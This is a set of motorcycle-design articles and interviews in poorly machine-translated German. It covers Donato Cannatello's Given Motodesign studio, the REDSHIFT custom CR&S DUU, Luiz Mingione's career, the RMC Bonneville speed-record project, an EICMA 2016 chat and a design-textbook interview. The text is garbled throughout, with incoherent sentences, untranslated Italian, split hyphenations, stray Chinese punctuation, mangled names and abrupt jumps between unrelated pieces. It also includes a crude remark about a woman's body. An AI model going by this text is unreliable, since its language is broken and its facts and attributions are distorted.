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Super Special N ° 14
letzte 4 Juli im Gegeben Mailand Garage Motodesign präsentiert REDSHIFT, una moto individuelle su Basis CR&S DUU. Wir alle wissen, CR&S und seine Werke auf zwei Rädern, Wir alle erinnern uns die duu mit seinen leistungsstarken Zweizylinder, ein Motorrad „handgefertigt, sein Herz, in Mailand ", Entworfen für die Massenproduktion, die aber sehr handwerklich und charaktervoll blieb, Das Besondere ist bereits im Ursprung und wurde von einem Team von Designexperten noch spezieller.
Um alle Geheimnisse dieses Motorrads zu entdecken, haben wir uns entschlossen, Donato Cannatello zu interviewen, ehemaliger leitender Designer bei CR&S e ora Führer del Team gegeben.
Wir sind herzlich willkommen im liebevoll eingerichteten Atelier, in dem REDSHIFT geboren wurde. Lass uns ins Zwischengeschoss gehen und uns unterhalten, von wo aus wir den gesamten Workshop und die Jungs vom Team bei der Arbeit sehen können.
- Zuerst, wie die gegebene Motodesign-Realität geboren wurde?
Given wurde wesentlich nach meiner Motorraderfahrung in einigen Unternehmen wie CR geboren&S, unübertrefflich, Aprilia und andere.
Ich zog es vor, meinen eigenen Raum zu eröffnen und mich auf ein Unternehmen zu konzentrieren, das meinen Ideen Raum geben könnte. So wurde Given geboren, was nichts anderes ist als die englische Übersetzung meines Namens "Donato" ins Englische..
Hier versuche ich, meine Erfahrungen aus Konzept und Design für die Arbeit in der Werkstatt zu nutzen ... denn in kleinen und schönen Unternehmen wie CR&S, wo wir waren 10, Natürlich kümmert man sich um das Design, aber man muss auch in die Werkstatt gehen, um alle Schritte zusammenzubauen und zu überprüfen ... und so hatte ich eine 360 ° -Erfahrung in der Entwicklung des Motorrads.
Zeitung Auto
Mit Blick auf das Fahrrad, Sie können die Marke nicht kennen. Viel weniger, ob es gut ist oder nicht fahren. Aber eins ist sicher: nolens volens Motorräder, es ist unmöglich, die individuelle Maschine gleichgültig zu bleiben für Gegeben, eine kleine Design-Firma in Mailand, in Italien. Es ist dort, dass die brasilianische Luiz „Bald“ Mingione arbeitet, geben physische Form der italienischen Designer-Projekte Donato Cannatello.
Unter den neuen Bike Wegen, gibt es CR&S trägt. Ein CR&S war ein Handwerk-Hersteller, der geboren wurde 1992 in Mailand. Die Abkürzung steht für „Rennfahrer und superbikes Kaffee“. Duu bedeutet, zwei in Milanese Dialekt, und bezeichnet den Motor 2.000 cm3. Das Modell wurde in Moto Salon Mailand ins Leben gerufen (Eicma) in 2009. nach Mingione, jede Einheit verkauft von 40 tausend Euro.
Die Funktion ist Formulare Projekte zu geben,
Die Formfunktion ist Mingione aus Fiberglas und Aluminium, und machen 3D-Drucke, Form zu geben Ideen von Cannatello erstellt. Der Designer kam in ihrem eigenen CR zu arbeiten&S e na Aprilia, unter anderem Motorradhersteller.
Da es wurden nur produziert 100 Modelleinheiten und jetzt die Marke nicht in Betrieb, jedes CR Fahrrad&S würde ausreichen, um exklusive. jedoch, gibt es immer wieder Kunden, die noch exklusivere wollen. Dies ist der Fall des Eigentümers der Einheit. Mingione darüber informiert, dass es für einen Holländer gemacht wurde, die Restaurants in Italien und Neuseeland hat. Customization Kosten 24 tausend Euro (ca. R $ 110 tausend). Der Preis beinhaltet Projekt, Prototyping, Arbeitszeit und Ersatzteile. Die Arbeit dauerte 6 Monate.
Er arbeitete auch an einem CR&von S (ein, in Milanese Dialekt), das zweite Modell der italienischen Marke. In diesem Fall, der Motor hat 650 cm3.
Sobald das Fahrrad ist bereit, Brasilianische geht mit ihr zu sehen, ob alles in Ordnung ist. Mingione ist ein erfahrener Pilot, ich 2002 Er gewann die Paris-Dakar, in der Kategorie bis 250 cm3.
jetzt, er sagt, er Arbeit an einem neuen Projekt beginnt, ein Suzuki SV 650, produziert in 1999. „Das Motorrad ist nicht tausend Euro wert (R $ 4.500), aber der Besitzer verbringen über 6 tausend Euro (R $ 27 tausend) zu tun, etwas Einzigartiges ", sagt.
Er sagt, der erste Schritt das Fahrrad vollständig zu zerlegen ist individuell gestaltet werden können. dann, das Bild ist neu gestrichen und die neuen Teile erhalten, ein Prozess, der etwa vier Monate in Anspruch nimmt, abhängig von der Komplexität.
Mingione Werke von Projekt. Er in vor einem Jahr gegeben, und beabsichtigt, dort bis zum kommenden Ende des Jahres fortsetzen.
Er sagt, er entschied sich das Leben in Mailand, um zu versuchen, weil die Eltern seiner Frau Restaurant in der Stadt hatte. davor, jedoch, Mingione ging durch mehrere Länder.
Knetmasse in Honda gelernt geholfen
Er trat Honda in Brasilien 1993. zwischen 98 e 99, nach dem Start von Honda Biz, wo er an den ersten Prototypen, Er absolvierte ein Praktikum bei der Unternehmenszentrale, in Japan. dort, Er lernte, wie Prototypen mit Lehm bauen, eine Art industriellen clay, in Gebäudemodellen eingesetzt.
Nach der japanischen Marke verlassen, in 2006, Er verbrachte einen Monat in China, auf Einladung von Geschäftsmann. Ziel war es, mögliche Motorradmarken auswählen, die in Brasilien verkauft werden könnte.
Diese Tour von „über 30 Unternehmen ", man kam zu dem Land zu kommen, ein Iran, die geschlossen in 2013.
folgende, Mingione war für Ford in der Türkei, die stand 2015 ein 2016, bei der Entwicklung von Innen-LKW Arbeiten mit Ton.
in 2017, Er kehrte nach China. Es war, als Trainer der A-Berater (united Motors), Kolumbianische Unternehmen mit Sitz in den Vereinigten Staaten, Ich wollte das Land, ein Motorrad machen. danach, Er ging nach Mailand, wo Sie wollen bis zum Ende des nächsten Jahres bleiben.
„Wir müssen sehr Werkstatt fegen“
Wer träumt von folgenden ähnlichen Weg, Mingione Benachrichtigung an den Schwierigkeiten: „Indian Motorrad für diejenigen, die gerne und wollen neue Dinge lernen, Trend, Werkstofftechnik und Entwicklung ", sagt. „Aber für einen Anfänger ist es nicht einfach,. Sie müssen Rost und viel Werkstatt fegen. "
alles, klar, aus rechtlichen Fragen (Arbeitsvisum) und Kommunikation. Die Sprache kann eine Sperre sein,, je nach dem gewählten Land. In Bezug auf die Entschädigung, Mingione geschätzt, dass ein Anfänger in Italien erhält zwischen 600 e 800 Euro pro Monat (R $ 2.700 ein R $ 3.600).
DUU REDSHIFT – Der Beitrag der Designer in der Anpassung von Motorrädern
Motorradfahren ist eine Tätigkeit, in denen konvergieren harmonisch verschiedene Aspekte des Designs, Die wichtigste besteht darin, eine technische Lösung für das Problem zu finden “Transportfunktionalität”. Hersteller suchen ständig Leistung in allen seinen Varianten zu optimieren, das Ziel ist die effektivste und in der Lage zu machen, die Probleme des Anwender auch auf Stil zu lösen sprechen die emotionale Komponente des Mediums hervorheben. Die Emotion ist das primäre Element, für Motorradfahrer um sie alle, wie sie auf ihre Mittel Rennen hat es ein völlig anderes Aussehen, haben einen echten und direkten Kontakt mit allem, was. Sie sind aktive Verbraucher, die Straßenszene leben statt suchen, was sie fühlen, ist eine überwältigende Leidenschaft, die Sie fühlen Sie den Nervenkitzel der totalen Freiheit machen. Die folgende Arbeit beinhaltet eine Studie über die Berufserfahrung ein Motorrad CR von Customizing&S DUU, der Kunde in Frage ist eine private, deren Anwendung zu, ab
eine bestehende Basis, einzigartig macht das Medium durch die Zugabe von Komponenten, die das ästhetische Erscheinungsbild macht greifbar zu verbessern wären in der Lage
die Wünsche des Kunden. Dank der starken Leidenschaft
accumuna, die der Designer und der Kunde erstellt wurde
eine Bindung von Einfühlungsvermögen, dass erlaubt GEGEBEN
motodesign vollständig die erfor erfüllen
–
sität des Verbrauchers, Herstellung einer klassischen Basis
ein echtes Sammlerstück. Accomu
–
geboren aus diesem starken Gefühl, nur die empa
–
tia hat sehr Kommunikation mit dem Kunden
einfach und effektiv, so dass Designer
die Bedürfnisse des Kunden zu verstehen sofort und,
in einigen Fällen sogar, zu antizipieren. hierin
so ist Teamarbeit begünstigt permet
–
Ich neige dazu, auch an den Kunden zur Teilnahme an
Projekt geben ein unmittelbares Feedback auf die
durchgeführten Studien und Prototypen.
Durch die zur Verfügung stehenden Technologien, GIVEN
motodesign konnte eine mez realisieren
–
zo es hatte eine starke industrielle Komponente
unter Beibehaltung eines Aufdrucks handwerkliches
in einigen Prozessen gefunden, so fest
–
ture und Biegen von Platten aus Aluminium
handgefertigt von der Mannschaft. Der laufende Dialog zwischen den verschiedenen
Sektoren hat zur Schaffung eines Produkts geführt
das würde den Charakter des Besitzers ausdrücken, Ufer
–
Landone ihre Identität und ihre eigenen Wesen.
GEIST
ROBERTO GEHT NACH BONEVILLE
Der Navigator des Multivan hält uns um halb zehn vor dem geschlossenen Tor eines Bauernhauses an. aus dem Auto. Im Hof einer alten Dame schon weiß er, was die Frage sein wird, dass verwandeln. Vor mir über das graue Tor hörte er die gleichen Worte von Graziano Rossi, Marco Belli, Makoto Tamada.
„Und, Diese Adresse wird über Ca ‚Nine ein, aber sie gaben die gleichen Namen auf eine Straße im Industriegebiet in der Nähe von hier. Sie haben nach Verona zurück. Biegen Sie an der Ampel links und am ersten Kreisverkehr rechts ab. "
Ich schalte den deutschen Navigator aus und wir verlassen uns auf Google Map. Das Smartphone Diego in 10 Minuten bringt uns zum Eingangstor der In-Motion. Gianna begrüßt uns im Büro. Die Klimaanlage yells, als ob es würde, und außerhalb gibt es vierzig Grad. Durch das Glas, im Schuppen, HRC und Minolta Marken, die sie kennen MotoGP. An der Wand eine Reihe von farbigen Tanks mit der Marke Zaeta. Das Mädchen mit blauen Leggings Packungen in Kartons umkreist Kineo bereit zu versendenden. Ein schöner Arsch….
Roberto hat uns einen Termin hier, die Farm von Julius Bernard, machen Fotos, die die erste Rate von diesem verrückten Projekt erzählen. Massen ebenso wie Projekte, die Menschen nahe der Leidenschaften binden. Roberto Maria Crepaldi sessantino ist ein Sohn von Kunst. Mit siebzehn Jahren begleitet er die Kunden seines Vaters Händler, um das Auto Enzo Ferrari abholen. Im Laufe der Jahre hat er dazu beigetragen, Italien der Marke Jaguar zu bringen, Aston Martin, Triunph, Harley Davidson e Husquarna. in 1993 Er gründete das CR-Team&S Britten e con la Britten V 1000 Er hat in drei Ausgaben der Tourist Trophy teilgenommen.
heute, mit RMC Marke, Cycles Rekord Motor, Er arbeitet auf dem Salzsee von Boneville zu gehen und den Geschwindigkeitsrekord Verriegelung 420-3 km / h schlagen.
Während Diego bereitet Kamera und Objektive, Roberto Team nach und nach erfüllt. Ugo Torri ist ein Unternehmer und ein Gentleman-Driver mit einer Leidenschaft für Geschwindigkeit und schöne Motorräder. Giulio Bernardelle ist der technische Leiter des Projekts. Er gewann zwei Welt mit Valentino Rossi und Roberto Locatelli, Er war Technischer Direktor des Pramac Honda und Konica Minolta Honda Team in der MotoGP. Donato Cannatello ist der Designer verantwortlich für die Strömungskörper des Motorrads. Dario Marchetti fuhr auf der Strecke und auf der Straße, in der Welt, in Superbike, nell'endurance, ein Macao e Suzuka. In Amerika hat er bereits in Daytona und der Salzsee von Boneville fast liegend auf RMC gewinnt mehr als vierhundert pro Stunde auf dem Datensatz laufen.
Die Jungs von In-Motion führen aus dem dem Prototyp der RMC Schuppen. Das Team drängt sich um das Motorrad. Diego beginnt zu schießen.
Stellen Sie sich einen späten Winternachmittag vor, Ein Mann sitzt an seinem Schreibtisch, er hat ein weißes Blatt vor sich, auf dem er die ersten zeichnen will, aufgeregt werden, Bleistiftmarkierungen lassen die Skizze seines Traums Gestalt annehmen, auf zwei Rädern, mit einer eigenen Marke, Das verbirgt sicherlich nicht die ehrgeizigen Ziele, die es erreichen will, Cycles Rekord Motor.
Dieser Mann heißt Roberto Maria Crepaldi, und er hat sich schon mehrere träume auf zwei rädern erfüllt. Es wurde professionell im Allradumfeld geboren, anfangen mit seinem Vater zu arbeiten, Wer war ein Ferrari-Händler. Seine, sehr jung, Auf diese Weise hat er die Möglichkeit, eine Person kennenzulernen, die für sein Training wichtig ist und viel über die Verwirklichung ehrgeiziger Träume weiß, Enzo Ferrari.
Nach der Erfahrung im Automobilbereich, Dort wechselt er von Ferrari zu Jaguar zu Aston Martin, Roberto widmet sich seiner großen Leidenschaft, Motorräder, und es hört nicht mit dem Vergnügen auf, sie zu fahren. Anfang der 1980er Jahre nahm er am Relaunch von drei sehr bekannten Marken wie Harley Davidson in Italien teil, Triumph und Husquarna. in 1993 Er gründete das Team CR&S, CafeRacer & Superbikes und treffen einen anderen sehr wichtigen Charakter, der Neuseeländer John Britten, Ein Motorrad-begeisterter Architekt, der sein Rennrad in seiner Garage entworfen und gebaut hat
sein Nachname. V-Twin Motor 1000 cc mit genialen und innovativen Fahrradlösungen, Britten läuft in der neu gebildeten Kategorie B.E.A.R.S. (reserviert für Prototypen nicht japanischer Zweizylinder- und Dreizylinder-Motorräder) und das CR-Team&S wird zum Bezugspunkt in Europa und nimmt mit dem Britten V1000 an vielen internationalen Rennen teil, unter denen 3 Tourist Trophy auf der Isle of Man und gewinnt die B.E.A.R.S Championship. Weltserie.
Roberto und John sind sehr gute Freunde, Sie haben gemeinsame Ideen und Ziele und sie haben auch viel Leidenschaft gemeinsam, mit gleicher Energie gewürzt, ermöglicht es ihm, diese ehrgeizigen technischen und sportlichen Ziele zu erreichen. Wie viele schöne und aufregende Geschichten, Leider macht auch dies einen schrecklichen Moment durch, im September von 1995, so schlimm wie das unerbittliche Böse nimmt John weg, gerade 45 Jahre. Roberto und das CR-Team&S Rückkehr zur Tourist Trophy in 1996, auf dieser magischen Insel in der Irischen See verloren, wo alles ein paar Jahre zuvor begann, und mit Shaun Harris am Steuer, Der Britten V1000 fährt unter der Zielflagge des Senior TT vorbei, Es ist eine große Befriedigung, sich an seinen Hersteller zu erinnern und ihn mit einem weiteren wichtigen Sport-Siegel zu ehren, das untrennbar mit der erfolgreichen Partnerschaft der Antipoden verbunden ist und die uns in Zukunft immer wieder in Erstaunen versetzen und begeistern wird.
in 2002 Roberto wird Hersteller und Marke CR&S präsentiert zwei interessante und originelle Motorräder, der Einzylinder CR&S VUN nel 2005 und der Zweizylinder CR&S DUU in 2009.
Kehren wir zu diesem Blatt Papier zurück, das ein paar Minuten später, es hat sehr wenig weiß. Roberto, dass er auch darin sehr klare Vorstellungen hat, Zusätzlich zu den Linien des Fahrrads, die geboren werden müssen, Er hat bereits die Formation im Sinn, die diesen Entwurf umwandeln muss, zuerst verfeinern und dann materialisieren, einem wirklich einzigartigen und furchtbar schnellen Produkt Leben einhauchen, schnell genug, um die Marke zu ehren, die es auf dem Panzer tragen wird, um einen neuen Geschwindigkeitsrekord aufzustellen, vielmehr zwei, auf dem Salzsee von Boneville.
Das Team muss kohärent und effektiv sein, weil es viel zu tun geben wird und es gut gemacht werden muss, sehr gut. Dafür wird Roberto von Ugo Torri begleitet, Geschäftsinhaber, Ein großer Enthusiast von zwei Rädern, der viel über ehrgeizige Ziele weiß, Ugo ist der Direktor des RMC-Projekts.
Für den technischen Teil übernimmt der Ingenieur Giulio Bernardelle die Design- und Führungsverantwortung für dieses faszinierende Abenteuer, mit großer Erfahrung in der Welt des Rennsports und in Zweitaktmotoren, Beitrag zu den Weltmeistertiteln von Roberto Locatelli und Valentino Rossi auf Aprilia 125 e 250 cc, beide im Bereich der Viertaktmotoren mit Vergangenheit in der MotoGP.
Die Aerodynamik ist das andere Kapitel von grundlegender Bedeutung, um den aktuellen Rekord zu brechen, und in Boneville für die Kategorie Teilweise optimiert, teilweise mit freiliegendem Piloten verkleidet, wo unsere beschlossen haben, sich zu versuchen, und von 423 km / h. Und, Sie haben richtig gelesen, es sind vierhundertdreiundzwanzig Kilometer pro Stunde, und die Linien der Motorräder werden von Donato Cannatello bearbeitet und gebaut, Besitzer von Given, dynamisches Unternehmen, das sich auf die Prototypenstudie und den Bau komplexer Karosserien spezialisiert hat.
Auch bei der Wahl des Fahrers zeigt Roberto noch einmal, dass er wirklich weiß, wie es geht. Derjenige, der die Last haben wird, und Ehre, Gas geben heißt Dario Marchetti, Berufskraftfahrer mit über 30 Jahren Karriere, Dario ist auf vielen der wichtigsten und faszinierendsten Strecken der Welt gefahren, von Daytona Macau sammeln viele Erfolge. Bei einem Plausch sagt Dario mir: „Sai, die Tatsache, dass sie wählte mich erfüllt mich nicht nur mit Stolz, Ich bin aufgeregt und sehr geehrt, Teil dieses Teams zu sein, Roberto ich ihn für eine lange Zeit bekannt, und ich respektiere ihn sehr, wir sind Freunde und ich fuhr ein paar Jahren für ihn vor, direkt am fantastischen Fahrrad Britten V1000-Team CR genannt&S“. alles zurück, wunderbar, mit Leidenschaften und Emotionen, die treffen und verflechten. „Dann“, weiter, „In meiner langen Karriere fehlen nur zwei Dinge, ein Rekordversuch und die Isle of Man Tourist Trophy, an der ich in den 1980er Jahren teilnehmen musste, aber für letztere ist es jetzt zu spät ".
Großartiger Dario, Denken wir jetzt an die Aufzeichnung und dann an die TT – als Ehrenrunde gedacht – Vielleicht kann etwas getan werden …aber im Moment enthüllen wir nichts und konzentrieren uns weiterhin auf Bonneville.
Das Team wird vom Medienmanager Riccardo Capacchione vervollständigt, professioneller Journalist sowie gültiger Tester für viele Fachzeitschriften und Raffaele Canepa, Fotograf, und Regisseur, der als Medienproduzent fungieren wird.
Das Projekt ist wirklich interessant und technisch sehr faszinierend. In einem Chassis mit gemischter Struktur wird das Saugmotor a untergebracht 8 Zylinder, sehr kompakt, in Längsrichtung positioniert. Die Verschiebungen betragen 2000cc für "Red Spirit", Das ist eine Hommage an die immense italienische Motorradkultur, seit vielen Jahren der absolute Bezugspunkt für alle anderen Nationen, und von 2500 cc für "Tribute to John Britten" zu Ehren dieses brillanten Charakters, der mit wenig Mitteln, unterstützt von einer Handvoll technischer Freunde, schuf eines der schönsten Rennmotorräder aller Zeiten, Versiegeln der starken Bindung zwischen John und Geschwindigkeit. in 1993 Ein motorisierter Torpedo vom Typ Britten V1000 eroberte Weltrekorde auf der Viertelmeile und auf der Meile von einem stehenden Start und auf dem gestarteten Kilometer.
Die Arbeiten gehen schnell voran und in einiger Zeit werden wir das Geräusch dieses leistungsstarken Motors hören können, der eine Kraft von über haben wird 400 Cavalli. Der Countdown für die Boneville Speed Week hat begonnen 2017. Ghost wird das Vergnügen und die Ehre haben, alle Entwicklungsstadien dieses schönen und aufregenden Abenteuers zu erzählen.
Danke Roberto und danke an das ganze RMC Team. Bonneville nähert sich, Lassen Sie uns die Motoren starten!!!
Text: Pier Giuseppe Ortalda
Foto: Diego Mola
MOTO.IT
In umgekehrter Reihenfolge: was Sie lesen ist der Kommentar und die wollen von euch Lesern unter dem realen Artikel auf besondere und individuelle Anzeige auf der EICMA schreibt 2016: Ich stelle mich vor der journalistischen und innerhalb gerade in den wilden Aufruhr der persönlichen Meinung, Antipathie / Sympathie so etwas wie Customizing, und seine vielen Facetten, die per Definition ist ein Ort der Konfrontation zwischen gegensätzlichen Lebensweisen und asymptotisch Motorrad, so frage ich alle diese Zeilen einen bloßen Kommentar zu berücksichtigen: Der echte Artikel Ich werde die bereit Leser schreiben.
...
Um zu versuchen, mich in den Hunderten von Leuchttürmen zu orientieren, die ich zwinkerte überzeugend, und um mehr zu erfahren, lass dich von dem Stand von Gegeben Motodesign verführt werden, die unter anderem ausgesetzt einem - Interessanterweise meiner Meinung nach - Das Besondere an The Nation Kawasaki ZRX 1100 („Fuck“ genannt) in Zusammenarbeit mit Officine Riunite Milanesi, das fasziniert mich sehr polygonale Scheiben, rigorosen Betrieb zu gewährleisten, die die gleichen Lieferanten gesetzt haben, der legendäre Enrico Discacciati selbst!
Donato Cannatello (Donato-Gegeben ... verstanden?), GEGEBEN Eigentümer und Design-Erfahrung in der Tschechischen Republik&S, unübertrefflich, Kampf, Aprilia, Er war geduldig, und einen Chat mit mir auszutauschen hat mir seine Sicht ausgesetzt auf EICMA 2016 und die Zukunft des Customizing.
Zu setzen GEGEBEN und Meinungen von Donato berichtet, Wir fügen, dass Angebote mit sowohl einen Service von Planung und Design für diejenigen, die einen Prototyp bauen wollen (vom Konzept bis zur Vorserie zur Produktion führen), sowohl jene Privatpersonen, die „Frame off“ Projekte auf ihren Motorrädern fragen.
„Seltsamer hatten wir viel Feedback von ZRX, dass die duu, sowohl in unserem Stand ausgestellt, trotz duu ist zweifellos eine verfeinerte Design und zrx einhalb viel billiger, aber offenbar der „Blickfang"».
Und wie würden Sie das Niveau der Fragen in benutzerdefinierten Preis und Spezial?
„Das Niveau der EICMA, wenn wir beschränken uns auf die individuelle und spezielle, es scheint, viel höher und reifer als vor ein paar Jahren: von der Realität artiginali, die noch produzieren hervorragende Ergebnisse, Jetzt schalten wir zu einem reiferen Ansatz sowohl auf der technischen Gestaltung der Parteien. Aus der Sicht des Motorrads, stattdessen, Ich war begeistert von der Harley "OPERA" South Garage, sehr elegant; er gewann auch den Wettbewerb, aber wie man den Wettbewerb kennen praktisch sie ein wenig gewinnen ‚alle (Donato bezieht sich auf die Vielzahl von Kategorien und nicht sehr zahlreich zur Kenntnis Teilnahme Editor); die Ecke Gewohnheit schien stattdessen ein wenig ‚gedämpft, wenig Platz und dezentral als das vitale Zentrum der Schau, und dies scheint ein wenig eingängig: es ist der schwierigste Teil, Stattdessen besuchten viele es nicht, weil sie nicht wussten, dass es sich in der Ecke des Pavillons befand 2; Es ist auch wahr, dass es einen Teil der Öffentlichkeit gibt, der sich nicht wirklich für Gewohnheiten interessiert, Sie sind diejenigen, die die V-Strom mit dem Kofferraum hinter, aber es auch viele echte Fans sind, die es vorziehen, ein Stück Billet, um zu sehen, anstatt noch nicht einmal geschafft, uns zu finden ».
Sul futuro del Customizing? Donato hat keine Zweifel:
„Der Durchbruch, ich denke,, es ist sehr klar aus der Vergangenheit: bei der Gestaltung vom Fahrrad Rest auf der Bank ein besonderes hat es weg und Improvisieren, zuerst durchführen, wie in unserem Fall, eine Wiedergabe und 3D-Scanning, dann arbeiten direkt auf dem Computer, und Rekord Hand Seiten, in Blatt- oder einfach in 3D gedruckt; Anpassen der Zukunft des Markts sieht es nicht in den Fähigkeiten der Designer, weil heute jeder einen Computer nehmen und ein Kind setzen durch einen 3D-Drucker zu entwerfen und zu implementieren, aber ich denke, dies wird durch rechtliche Faktoren diktiert werden, wie die Einhaltung von Homologationsstandards und die Entwicklung von Stil und Trends: sehen wir müssen, wie lange dieses Phänomen sehr artiginale Customizing, Ich glaube, dass die Handarbeit sehr gut bald durch eine individuellere Anpassung ersetzt werden könnte, entworfen und mehr »entwickelt.
Eine letzte Frage: weil die tessellated Reifen auf einem Rennrad? (OK, ich weiß,, Es ist mein persönlicher Kreuzzug ...)
"Es war die Wahl des Kunden ... aber ich muss Ihnen sagen, dass, wenn es nicht für diese Anforderung waren die ZRX „Maialona“ wir würden nicht gezogen haben, wie Sie sehen,, Verständnis des Konzepts Bauchmuskeln zu unterstützen und nicht die unteren Teile des Tanks, Das scheint eine Lösung zu sein.. "Best". Vielleicht ohne den knorrigen Reifen würden wir eine weniger Winkelbewegung gemacht haben, Allrounder ".
Ich lasse die Galerie von Motorrädern, mit der Bewunderung für alle Aussteller im Zoll- und Spezialbereich, die sicherlich nicht für eine sofortige wirtschaftliche Rückkehr da sind, Aber wer investiert oft Zeit und Geld in die Leidenschaft, die Messlatte für Exzellenz und Wahnsinn immer ein wenig höher zu legen?.
Lerntechniken und Design
Lerntechniken und Design
Posted in China mit einer Auflage von 75.000 Kopie, für die Verwendung als technisches Handbuch in der chinesischen Fakultät für Maschinenbau, er Volumen "Technische Studien-und Design-" ist die dritte in einer Reihe von erfolgreichen technischen Handbücher von der produktivsten Professor geschrieben. Stein Wen.
Auf Inner beschreibt einige Produktionsprozesse von uns angepasst, sie zum Beispiel für junge chinesische Studenten, die.
Die Veröffentlichung dieses Buches war eine sehr angenehme und interessante Erfahrung.
Zusammenfassung
Die Temperatur betrug nur、Chenzhen Yi、Su Bolin、Enrico Leonardo Fagone、Donato Cannatello bearbeitet die „Produkt-Design Quelle und einen Durchbruch“ von dem Punkt、Linie、Oberfläche、Ausgangskörper，So verfolgen Sie den Ursprung der Produktform，Die Punkte Quelle wieder zu starten，Wir erkundeten die Möglichkeit der Interpretation des reichen Styling，Leser Design der Natur Dialyse zu helfen。Dieses Buch stellt sechs Modellierungsmethode，4Ein Modellierungsschritt，3Produkte Einheit Tipps，Es stellt eine praktische und wirksame Methode zur Modellierung für die Leser in Design Arbeit beschäftigt。Für Freiformfläche，vorgeschlagen Hybrid、Geschlossen und Handeln denkt drei Arten von Modellierungstechniken，Es bietet gezielte Lösungen für den Leser der Freiformflächenmodellierung Schwierigkeiten zu steuern。Dieses Buch enthält die psychologische Trägheit zu gestalten，5 Gruppen vorgeschlagene Verfahren zur Modellierung psychologischer Trägheit und Durchbruch，Für die Leser, die Grenzen ihres eigenen Stil zu brechen，In die Modellierung Welt reicher öffnet sich ein Fenster。Das Buch interviewte eine Reihe von europäischen Top-Designern，Besuche vor einer Reihe von Italiens Top-Design-Firmen，Providing Leser mit einer neuen Design Informationen aus erster Hand，Durch eingehende Analyse dieser Entwurfsfälle，Wir können der Leser helfen, diese ausgezeichneten Designer Design-Methoden und ausgezeichneten Design-Case-Modellierung Prozess zu verstehen，Es hilft Leser Design-Vision und zur Verbesserung der ästhetischen Ebene des Lesers。
Interview Zusammenfassung:
1ein. Die Form der Motorräder hat immer große Veränderungen erfahren, da ihre Schwellen. Was denken Sie könnten die Faktoren in diesem Prozess beteiligt sein ändern?
Ich weiß nicht ganz einverstanden.
Die Seele der Motorräder hat sich in mehr als hundert Jahren im wesentlichen unverändert geblieben.
Und dies wird von einigen Modellen, die gerade in der Produktion bestätigt, die den Stil der klassischen Motorräder neu zu interpretieren, da sie das Wesen der Motorräder erinnern; zwei Räder, ein Motor, Schwingungen und Emotionen.
Die Änderungen in Formen und Stilen, die zwangsläufig mit der Zeit kam es abhängen meiner Meinung nach 4 Gründe dafür: Technik, Mode, kulturelle Entwicklung und Renn.
Zum ersten 80 Jahren haben wir in erster Linie auf technische Entwicklung konzentriert, Herstellung von Maschinen, die mehr richtet als enything sonst bis zur Perfektion und Leistung.
Im letzten 20 Jahre statt die Entwicklung der interessanteren Elemente der Technik und Rennen gestoppt, Verläßt die Entwicklung des Motorrades auf die einzigen sozio / kulturellen Aspekte.
Ab heute sind solche Aspekte in der Motorradproduktion vorherrschende und erzeugen nostalgische, absurd, futuristisch oder hyper detaillierte Modelle.
.1b. In welcher Art und Weise die Form der europäischen Motorräder könnte in der Zukunft entwickeln?
Europäisches Design, wie östlichen und westlichen Design, folgende spezifische Erfordernisse wird spezialisieren; Form wird immer durch den Ort definiert, wo die Produktion beginnt.
Trotz der unvermeidlichen kulturellen Kontamination, Europäische Produktion wird immer auf ein Motorrad zielt darauf ab, das funktionell ist und leidenschaftlich, ein perfektes Gleichgewicht zwischen antreibenden und ästhetischen Eigenschaften, Spaß und Nutzen. Alles zu gehen zusammen mit unserem eigenen Territorium, so uneben, mit variabler Landschaften, kurvige Straßen und steile Hügel.
Wie amerikanische Produktion auf ihre endlosen Ebenen gewidmet und langen und geraden Straßen, und zugleich östlichen Produktion neigt dazu, die Märkte zu folgen, Städte und Straßen überfüllt mit äußerst funktional und rational Produkten.
- Jedes ausgezeichnete Motorräder Design zeichnet sich durch seinen eigenen Stil gekennzeichnet, Fördern auf die besonderen Emotionen und Assoziationen Kunden. Als Designer, Wie beurteilen Sie die Persönlichkeit des Motorrads illustrieren durch die Formensprache mit ?
In Motorrad-Design, und ganz allgemein im Bereich Industriedesign, Band sind das Hauptmerkmal, die erste Nachricht an den Kunden vermitteln.
Ein Blick auf etwas gegen das Licht, man kann sofort spüren, seinen Charakter: wenn es vermittelt Macht, Leichtigkeit, Geschwindigkeit, Eleganz oder irgendetwas anderes.
Das gleiche passiert in der Natur, In der Dunkelheit erkennt man einen Pitbull von einem Pudel nur an seinen Umrissen.
- Das Motorraddesign muss viele Teile berücksichtigen, wie das Chassis, der Motor und das Auspuffrohr und so weiter. Für Anfänger erscheint es kompliziert und überwältigend. Haben Sie Vorschläge, wie Sie die Haut ausgleichen können? (die Abdeckteile) mit der Struktur, um eine perfekte Vereinigung zu erreichen?
Es hängt davon ab, ob: Zeichnen wir auf einem weißen Blatt oder arbeiten wir an etwas?
Im Allgemeinen, Design sollte an erster Stelle stehen, vor Auspuffrohren, vor dem Rahmen und vor dem Motor. Design muss der erste Ansatz für ein Motorradprojekt sein. Die Mechanik folgt dann den Richtlinien des Entwurfs mit gegenseitiger Anpassung.
Wenn der Entwurfsansatz der Planung folgt (wie es beim Restyling passiert), dann müssen einige Fixpunkte festgelegt werden, um mit allen anderen frei fortzufahren. Für technische Objekte wie ein Motorrad, Es kann eine einfache Regel geben: Teile, die mechanisch interessant oder gut gemacht sind, müssen nicht abgedeckt werden, aber in Sichtweite gelassen. Wenn möglich, ist es vorzuziehen, ein nicht zufriedenstellendes technisches Teil neu zu entwerfen und es Teil des Entwurfs zu machen, anstatt es abzudecken.
Es gibt jedoch eine grundlegende Sache in unserer Gestaltung, Der Blickwinkel eines Motorrads ist niemals perfekt seitlich zum Fahrrad, sondern höher platziert; Lassen Sie uns dann nicht nur eine schöne Seitenansicht entwerfen, oft ist ein guter Anteil des lateralen / oberen Volumens wichtiger als die laterale Ansicht.
- Bis zu einem gewissen Grad, die perspektivische Ansicht, Licht und Schatten eines Motorrads sind schwieriger zu kontrollieren als die eines Autos. Wie können wir das Skizzieren von Motorrädern besser kontrollieren?? Können Sie uns bitte den Zeichenprozess eines Motorrades zeigen?( durch die Nutzung 6 Bilder zur Erläuterung der Zeichenschritte). Für die jungen Studenten, So verbessern Sie die Zeichenfähigkeiten.
In Anbetracht der Schwierigkeiten des Motorraddesigns, Wir können es als mehrstufiges Design interpretieren.
1Eine erste Ebene, globale Vision, eine zweite Ebene, genauer, eine dritte Ebene, noch detaillierter, und so weiter. Die erste Ebene ist die wichtigste, was der Kunde auf den ersten Blick bekommt, Was vermittelt Ihnen das Vergnügen oder den Spaß eines Objekts?.
Ich arbeite nach dieser Regel.
